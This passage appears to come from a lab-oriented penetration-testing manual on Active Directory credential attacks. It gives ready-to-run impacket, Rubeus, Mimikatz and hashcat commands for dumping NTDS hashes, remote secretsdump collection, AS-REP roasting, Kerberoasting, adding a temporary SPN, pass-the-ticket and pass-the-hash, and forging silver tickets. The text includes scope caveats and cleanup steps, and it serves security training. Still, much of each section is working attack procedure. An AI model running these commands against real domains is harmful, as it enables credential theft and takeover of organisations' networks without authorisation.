Offline database parsing and DRS replication are different mechanisms. A generic remote extraction command can try multiple methods; select only the source whose prerequisites have been taught and verified.
6.3.11.9.6 Execute and choose variants
6.3.11.9.6.1.1 Parse a matched domain database and SYSTEM hive offline Offline NTDS from an already controlled DC
An offline parse needs a matched NTDS.dit and SYSTEM hive:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL
Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.
6.3.11.9.6.1.2 Shadow-copy boundary: inspect before creating anything
From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:
whoami /priv
vssadmin list shadows
diskshadow
At the DISKSHADOW> prompt:
list shadows all
exit
Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read
NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired.DiskShadowis a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.
Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.
6.3.11.9.6.1.3 Remote collection
impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'
impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'
This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use Retrieve domain credential material through verified replication rights.
6.3.11.9.7 Worked example — hypothetical
Observation: an already controlled DC provides a consistent database/key pair. Test: parse the matched source offline. Illustrative output: domain-account hashes are recovered. Interpretation: classify identities and perform the smallest relevant verification.
6.3.11.9.8 Verify the result
Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.
6.3.11.9.9 Failure and fallback
DC reachability or local administrator access on a member server is not sufficient for domain replication.
6.3.11.9.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A principal has the relevant effective replication rights at the domain naming context | Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient | §6.3.11.18 — Use validated directory replication rights for bounded credential proof |
| An NT verifier from an appropriate credential source | Correct account/domain and actual NT hash; recovery mode or an accepting NTLM service with required destination rights | §3.1.11 — Recover or reuse an NT password hash |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| An already compromised domain exposes a KRBTGT key and domain SID | Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior | §6.3.11.22 — Conditional: understand a realm-wide TGT forgery from KRBTGT material |
6.3.11.10 Request AS-REP material for an account without preauthentication
Choose when: A known user or directory flag indicates Kerberos preauthentication is disabled · Result: A correctly formatted offline password-recovery artifact
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.10.1 Purpose and result
A correctly formatted offline password-recovery artifact.
6.3.11.10.2 Recognition clues
A known user or directory flag indicates Kerberos preauthentication is disabled.
6.3.11.10.2.1 Find the clue from your starting access
Where to investigate: With an authenticated directory view inspect userAccountControl; without a bind, use only the documented known-user/no-password KDC path and distinguish its replies.
Discovery action — reference example:
Access/context: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery
Conditions, effects and verification
Requires: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.
Failure/next check: Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.
Get-DomainUser -Properties samaccountname,useraccountcontrol |
Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
Where-Object { ($_.UAC -band 0x400000) -ne 0 }
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
samaccountname UAC
TARGET_USER 4194816
Bit 0x400000: set
Recognize this detail: The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.
Still missing before method selection: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The selected enabled account returns the supported AS-REP artifact: choose its offline recovery path. |
| Ruled out in this context | The KDC requires preauthentication for that account: reject AS-REP roasting for that identity. |
| Inconclusive | An unknown user or KDC timeout says nothing about the preauthentication setting. |
If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.
6.3.11.10.3 Prerequisites
Starting access: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery. Required conditions: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ.
6.3.11.10.4 Discover and verify prerequisites
impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
6.3.11.10.5 Why it works
Without preauthentication, the KDC can return an encrypted AS response whose relevant part permits offline guessing of the account's password-derived key. Receiving it does not reveal the password.
6.3.11.10.6 Execute and choose variants
6.3.11.10.6.1.1 Why AS-REP roasting works
Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES
6.3.11.10.6.1.2 Request an AS-REP for a known user without preauthentication One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
-dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes
6.3.11.10.6.1.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
-dc-ip DC_IP -outputfile asrep.hashes
6.3.11.10.6.1.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
-dc-ip DC_IP -outputfile asrep.hashes
Omitting the password from the target lets the tool prompt rather than storing it in shell history.
6.3.11.10.6.1.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat
6.3.11.10.6.1.6 Interpret before cracking
| Output | Meaning | Next action |
|---|---|---|
$krb5asrep$23$ | RC4 AS-REP offline verifier | Hashcat mode 18200 |
| AS-REP with another etype | Different cipher/format | Match the exact prefix to installed Hashcat/John support |
KDC_ERR_C_PRINCIPAL_UNKNOWN | User/realm not found | Recheck spelling, realm and DC |
Preauthentication required / no UF_DONT_REQUIRE_PREAUTH | Account is not roastable through this method | Disprove this path for that account |
| Timeout/name error | KDC route/DNS problem | Fix route/FQDN/time before account conclusions |
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show
Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.
6.3.11.10.7 Worked example — hypothetical
Observation: an account is marked without preauthentication. Test: request only its AS-REP material. Illustrative output: a supported hash-format response returns. Interpretation: use the format's correct offline mode and validate any recovered password.
6.3.11.10.8 Verify the result
Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.
6.3.11.10.9 Failure and fallback
Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.
6.3.11.10.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A supported stored verifier or converted protected artifact | Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend | §3.1.7 — Recover passwords with feasible dictionary, rule and mask attacks |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| A user-owned SPN and a useful service-account relationship | A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy | §6.3.11.11 — Request a selected service ticket for offline service-account recovery |
6.3.11.11 Request a selected service ticket for offline service-account recovery
Choose when: A user-owned SPN and a useful service-account relationship · Result: A selected TGS recovery artifact and possibly a recovered service-account password
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.11.1 Purpose and result
A selected TGS recovery artifact and possibly a recovered service-account password.
6.3.11.11.2 Recognition clues
A user-owned SPN and a useful service-account relationship.
6.3.11.11.2.1 Find the clue from your starting access
Where to investigate: Use a directory client's user-owned SPN inventory and inspect the associated account's memberships/utility before requesting a selected ticket.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Record SPN/account/encryption type and verify any recovered password against the intended identity.
Failure/next check: No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
samaccountname: SERVICE_USER
serviceprincipalname: HTTP/TARGET_HOST
object type: user
Recognize this detail: A user-owned SPN supplies the account key targeted by a service ticket and a reason to assess password-recovery feasibility.
Still missing before method selection: Verify valid KDC context, selected account/SPN, returned encryption type, password model and useful resulting rights.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The selected ticket artifact is supported and recovery is justified: choose the matching offline mode. |
| Ruled out in this context | The candidate has no SPN and no SPN-write right: reject ordinary/targeted roasting for this account. |
| Inconclusive | SPN presence alone leaves weak password and eventual host access unproved. |
If you do not yet have this clue: start with Identify service accounts and SPNs worth investigating.
6.3.11.11.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy.
6.3.11.11.4 Discover and verify prerequisites
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
6.3.11.11.5 Why it works
The service ticket is encrypted with the service account's long-term key. Request permission does not equal service administration, and strong machine/account keys can make recovery infeasible.
6.3.11.11.6 Execute and choose variants
6.3.11.11.6.1.1 Why Kerberoasting works
Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.
VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES
Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.
6.3.11.11.6.1.2 Enumerate without requesting tickets
impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'
Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST
6.3.11.11.6.1.3 Request one selected user
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
6.3.11.11.6.1.3.1 Request all mapped candidates
impacket-GetUserSPNs -request -dc-ip DC_IP \
-outputfile kerberoast.hashes 'DOMAIN/USER'
Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes
Use broad requests only when scope and the candidate inventory justify them. Prefer one ranked account during verification.
6.3.11.11.6.1.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking
| Prefix | Kerberos etype | Hashcat mode |
|---|---|---|
$krb5tgs$23$ | RC4-HMAC | 13100 |
$krb5tgs$17$ | AES128 | 19600 |
$krb5tgs$18$ | AES256 | 19700 |
hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show
Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.
6.3.11.11.6.1.5 Common failures
- no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;- output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
- crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”
6.3.11.11.7 Worked example — hypothetical
Observation: a service account owns a relevant SPN. Test: enumerate first and request only that selected account's ticket. Illustrative output: a supported encryption-type artifact is obtained. Interpretation: apply its matching recovery mode and evaluate the account's actual rights.
6.3.11.11.8 Verify the result
Record SPN/account/encryption type and verify any recovered password against the intended identity.
6.3.11.11.9 Failure and fallback
No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.
6.3.11.11.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A supported stored verifier or converted protected artifact | Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend | §3.1.7 — Recover passwords with feasible dictionary, rule and mask attacks |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| Group-to-host access edges or a privileged user's possible session | Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient | §6.2.9.10 — Validate host access and volatile session candidates |
6.3.11.12 Create a temporary SPN through an effective object right
Choose when: A controlled principal can write a user's servicePrincipalName · Result: A recovery artifact for the controlled target account
Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Quick sheet
6.3.11.12.1 Purpose and result
A recovery artifact for the controlled target account.
6.3.11.12.2 Recognition clues
A controlled principal can write a user's servicePrincipalName.
6.3.11.12.2.1 Find the clue from your starting access
Where to investigate: Inspect a useful user's SPN set and resolved effective ACL rather than assuming GenericWrite always permits a desired property change.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify effective right, requested account and cleanup; confirm any recovered credential independently.
Failure/next check: GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.
Get-DomainUser -Identity TARGET_USER -Properties serviceprincipalname
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Existing SPNs: none
Effective trustee: CONTROLLED_GROUP
Potential right: write servicePrincipalName
Recognize this detail: A specific writable SPN property on a useful user can create a ticket-request opportunity.
Still missing before method selection: Verify trustee/effective property scope, enabled account, unique temporary SPN, KDC context and exact restoration.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The permitted temporary SPN produces the selected artifact and is removed: use the targeted recovery method. |
| Ruled out in this context | The ACE does not apply to this property/object: reject the proposed SPN modification. |
| Inconclusive | A stale GenericWrite graph edge without current ACE verification is insufficient. |
If you do not yet have this clue: start with Validate effective directory-object control.
6.3.11.12.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup.
6.3.11.12.4 Discover and verify prerequisites
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
setspn -L TARGET_USER
6.3.11.12.5 Why it works
Writing an SPN exposes a ticket-request route for the target account key. It does not reset the password; recovery still depends on password strength and encryption.
6.3.11.12.6 Execute and choose variants
If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.
Built-in SPN operations:
setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER
Request only that account:
impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
-outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'
Cleanup:
setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER
The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.
If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER
6.3.11.12.7 Worked example — hypothetical
Observation: a user has no SPN but the controlled identity has the required property write. Test: add a unique temporary value, request that user's TGS and remove the value. Illustrative output: the artifact is obtained and the original SPN set is restored. Interpretation: recover offline if feasible.
6.3.11.12.8 Verify the result
Verify effective right, requested account and cleanup; confirm any recovered credential independently.
6.3.11.12.9 Failure and fallback
GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.
6.3.11.12.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A supported stored verifier or converted protected artifact | Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend | §3.1.7 — Recover passwords with feasible dictionary, rule and mask attacks |
| A password tied to a plausible user and service | Correct local/domain/application identity, reachable compatible service, accepted authentication and account state | §3.1.6 — Validate known passwords and context-specific reuse |
| An ACL/graph edge names GenericAll, GenericWrite, WriteDacl, WriteOwner or an extended/property right | Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation | §6.2.9.9 — Validate effective directory-object control |
6.3.11.13 Inventory, convert and import tickets in the correct logon context
Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Operational procedure | Quick sheet
6.3.11.13.1 Purpose and result
A verified Kerberos service capability or key-to-TGT identity transition.
6.3.11.13.2 Recognition clues
A valid ticket/cache or a long-term key that can request a TGT.
6.3.11.13.2.1 Find the clue from your starting access
Where to investigate: Inspect tickets already available in the current logon session or cache before requesting, importing or collecting more material.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.
Failure/next check: IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.
klist
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Client: USER @ REALM
Server: krbtgt/REALM @ REALM
Valid end time: FUTURE_TIME
Recognize this detail: A current TGT can request appropriate service tickets if the KDC/name route and account context work.
Still missing before method selection: Distinguish TGT from TGS, format, logon-session scope, lifetime, SPN and destination authorization.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The matching service accepts the selected ticket context: choose that scoped operation. |
| Ruled out in this context | Only an unrelated expired service ticket exists: reject it for the proposed destination. |
| Inconclusive | Successful import with no service action leaves usable access unproved. |
If you do not yet have this clue: start with Classify tickets and use a compatible cache.
6.3.11.13.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context.
6.3.11.13.4 Discover and verify prerequisites
klist
6.3.11.13.5 Why it works
Ticket inventory precedes collection or forgery. A TGT, service ticket and long-term key enable different operations; local whoami may remain unchanged while network authentication uses another ticket identity.
6.3.11.13.6 Execute and choose variants
klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not run
klist purgeduring triage.
| Field/pattern | Interpretation | Decision |
|---|---|---|
Client: USER @ REALM | Identity represented | Map that exact user/computer and realm |
Client ending in $ | Computer identity | Establish machine-account rights; do not treat as a human user |
Server: krbtgt/REALM | TGT | Can request service tickets while valid, within that client's authorization |
Server: cifs/HOST | CIFS service ticket | Only SMB/CIFS on the named host; authorization still applies |
Server: ldap/DC_HOST | LDAP service ticket | LDAP authentication, not replication rights |
Other SERVICE/HOST | Ticket for that SPN | Use matching hostname/service/client |
Start/End/Renew Time | Validity windows | Import cannot revive an expired/not-yet-valid ticket |
| Ticket flags | Kerberos behavior/history | Not evidence of privilege |
Kdc Called | Issuing KDC | Not evidence of access to that DC |
| Encryption/session key | Compatibility/policy clue | Not privilege or password strength |
Linux cache:
klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"
Convert only when a client expects the other container:
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
These commands establish a local ticket context. Block 12 selects and validates the remote service.
Windows/Rubeus:
Rubeus.exe ptt /ticket:ticket.kirbi
klist
Windows/Mimikatz:
kerberos::ptt ticket.kirbi
kerberos::list
Linux:
export KRB5CCNAME="$PWD/ticket.ccache"
klist
NT hash or AES key to a TGT:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist
Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.
Mimikatz creates a new process using supplied key material:
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe
This is a credential/ticket-context transition, not proof that a destination accepts the identity.
klist
klist tgt
klist sessions
When privileges permit inspecting another logon session:
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not use
klist purgeduring triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.
6.3.11.13.7 Worked example — hypothetical
Observation: a logon context contains a valid CIFS ticket. Test: inspect its server principal and use a compatible SMB action to that hostname. Illustrative output: the protected share is readable. Interpretation: the service-scoped transition is verified; do not claim unrelated host execution.
6.3.11.13.8 Verify the result
Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.
6.3.11.13.9 Failure and fallback
IP-only naming, realm mismatch, expired lifetime, wrong logon session or unsupported tool Kerberos can break otherwise valid material.
6.3.11.13.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A password, actual NT hash, AES/NT long-term key or ticket is available | Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization | §6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication |
| A destination grants administrative-share write and service-control rights | SMB/SCM reachability, writable required share, effective service-creation/start rights and an accepted password/hash or supported Kerberos context | §6.4.4.7 — Execute through uploaded service creation using PsExec |
| An IP connection works while hostname/Kerberos access fails | Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time | §6.1.3.18 — Preserve DNS, Kerberos names and time across a pivot |
| A service account key and a concrete compatible service/SPN objective | Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use | §6.3.11.14 — Forge a service-scoped ticket from the correct service key |
6.3.11.14 Forge a service-scoped ticket from the correct service key
Choose when: A service account key and a concrete compatible service/SPN objective · Result: A verified authentication effect limited to the compatible service context
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.14.1 Purpose and result
A verified authentication effect limited to the compatible service context.
6.3.11.14.2 Recognition clues
A service account key and a concrete compatible service/SPN objective.
6.3.11.14.2.1 Find the clue from your starting access
Where to investigate: Classify a verified service key and correlate its account/SPN with the specific target service and domain SID.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.
Failure/next check: Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.
setspn -Q SERVICE/TARGET_HOST
whoami /user
klist
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
SERVICE/TARGET_HOST belongs to SERVICE_ACCOUNT
Available key source: that service account
Domain SID: recorded separately
Recognize this detail: The key must protect the intended service ticket; an arbitrary user's NT hash is not sufficient.
Still missing before method selection: Verify key type/current value, domain SID, principal/SPN, validation behavior and accepted target action.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A correctly scoped ticket is accepted by the intended service: use only that verified service effect. |
| Ruled out in this context | The key belongs to a different account/SPN or is outdated: reject the forgery. |
| Inconclusive | Ticket creation alone does not settle modern PAC/service validation. |
If you do not yet have this clue: start with Recover or reuse an NT password hash.
6.3.11.14.3 Prerequisites
Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct service key/encryption type, domain SID, principal/SPN data and service validation behavior; modern PAC/KDC validation can constrain use.
6.3.11.14.4 Discover and verify prerequisites
whoami /user
klist
setspn -Q SERVICE/TARGET_HOST
6.3.11.14.5 Why it works
A silver ticket is encrypted for a service account rather than issued through a new domain TGT. Its acceptance depends on service/PAC validation; it is not universal domain-administrator authority.
6.3.11.14.6 Execute and choose variants
Prerequisite: key/hash of the account encrypting the target SPN's tickets, domain SID, exact SPN/service/host, a plausible existing domain identity and compatible target-service validation behavior.
Linux/Impacket:
impacket-ticketer -nthash SERVICE_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN -spn cifs/TARGET_HOST AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Windows/Mimikatz:
kerberos::golden /sid:DOMAIN_SID /domain:DOMAIN /target:TARGET_HOST /service:cifs /rc4:SERVICE_NT_HASH /user:AUTHORIZED_TEST_USER /ptt
Despite the Mimikatz module name, supplying a service/target key produces a silver/service ticket, not a krbtgt-signed TGT.
Important boundaries:
- the key must belong to the account that owns the SPN; machine-account keys commonly protect host services;
- the ticket is limited to the named service/host and whichever services share the same account key;
- current PAC enforcement means using a nonexistent identity can fail; use a real authorized test identity and validate behavior;
- a service may perform KDC/PAC validation or additional authorization;
- a successfully imported ticket is not successful service access.
Golden tickets require the KRBTGT key and domain SID and create a forged TGT. They are a high-impact persistence concept covered in the conditional domain-compromise section, not a default Block 11 action.
6.3.11.14.7 Worked example — hypothetical
Observation: a known service key and domain SID are available. Test: match the intended SPN and documented acceptance conditions. Illustrative output: a CIFS operation succeeds under the crafted ticket while WinRM does not. Interpretation: retain the exact service scope.
6.3.11.14.8 Verify the result
Prove the intended service action and ticket context; ticket creation/import success alone is insufficient.
6.3.11.14.9 Failure and fallback
Wrong key/SPN/SID or modern validation can reject the ticket. Prefer an existing valid credential/TGT route when enabled.
6.3.11.14.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A password, actual NT hash, AES/NT long-term key or ticket is available | Credential type accepted by the chosen protocol/client, correct identity/domain, naming/time and destination authorization | §6.4.4.6 — Select password, NT hash, key-to-ticket or ticket authentication |
| SMB/RPC endpoints, domain clues or new credentials | Reachable SMB/RPC; anonymous, guest, local or domain context must be explicit; share and filesystem ACLs both matter | §1.2.6 — Enumerate SMB/RPC shares, files and identities |
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
6.3.11.15 Reset a target account password through a validated directory right
Choose when: A controlled trustee has the effective password-reset right on a useful account · Result: A new known credential for the target identity
Blocks: 11; credential classification in 5. Operational procedure | Quick sheet
6.3.11.15.1 Purpose and result
A new known credential for the target identity.
6.3.11.15.2 Recognition clues
A controlled trustee has the effective password-reset right on a useful account.
6.3.11.15.2.1 Find the clue from your starting access
Where to investigate: Follow a mapped useful-user ACL edge and resolve the actual password-reset extended right for the controlled trustee.
Discovery action — reference example:
Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right
Conditions, effects and verification
Requires: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective
Action class: May request tickets, collect sensitive material or change directory state; use the exact selected procedure.
Stop/verify: Verify account identity and compatible authentication, then test relevant authorization.
Failure/next check: A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.
Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Trustee: CONTROLLED_GROUP
Right: ExtendedRight
Resolved operation: password reset
Target: TARGET_USER
Recognize this detail: An applicable reset operation changes a target credential; it does not reveal the old password.
Still missing before method selection: Validate effective membership, protection/account state, account utility and the authorized impact of a disruptive reset.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The right applies and the authorized new credential is accepted: follow that identity's actual rights. |
| Ruled out in this context | Only an unrelated property-write right applies: reject password reset through this ACE. |
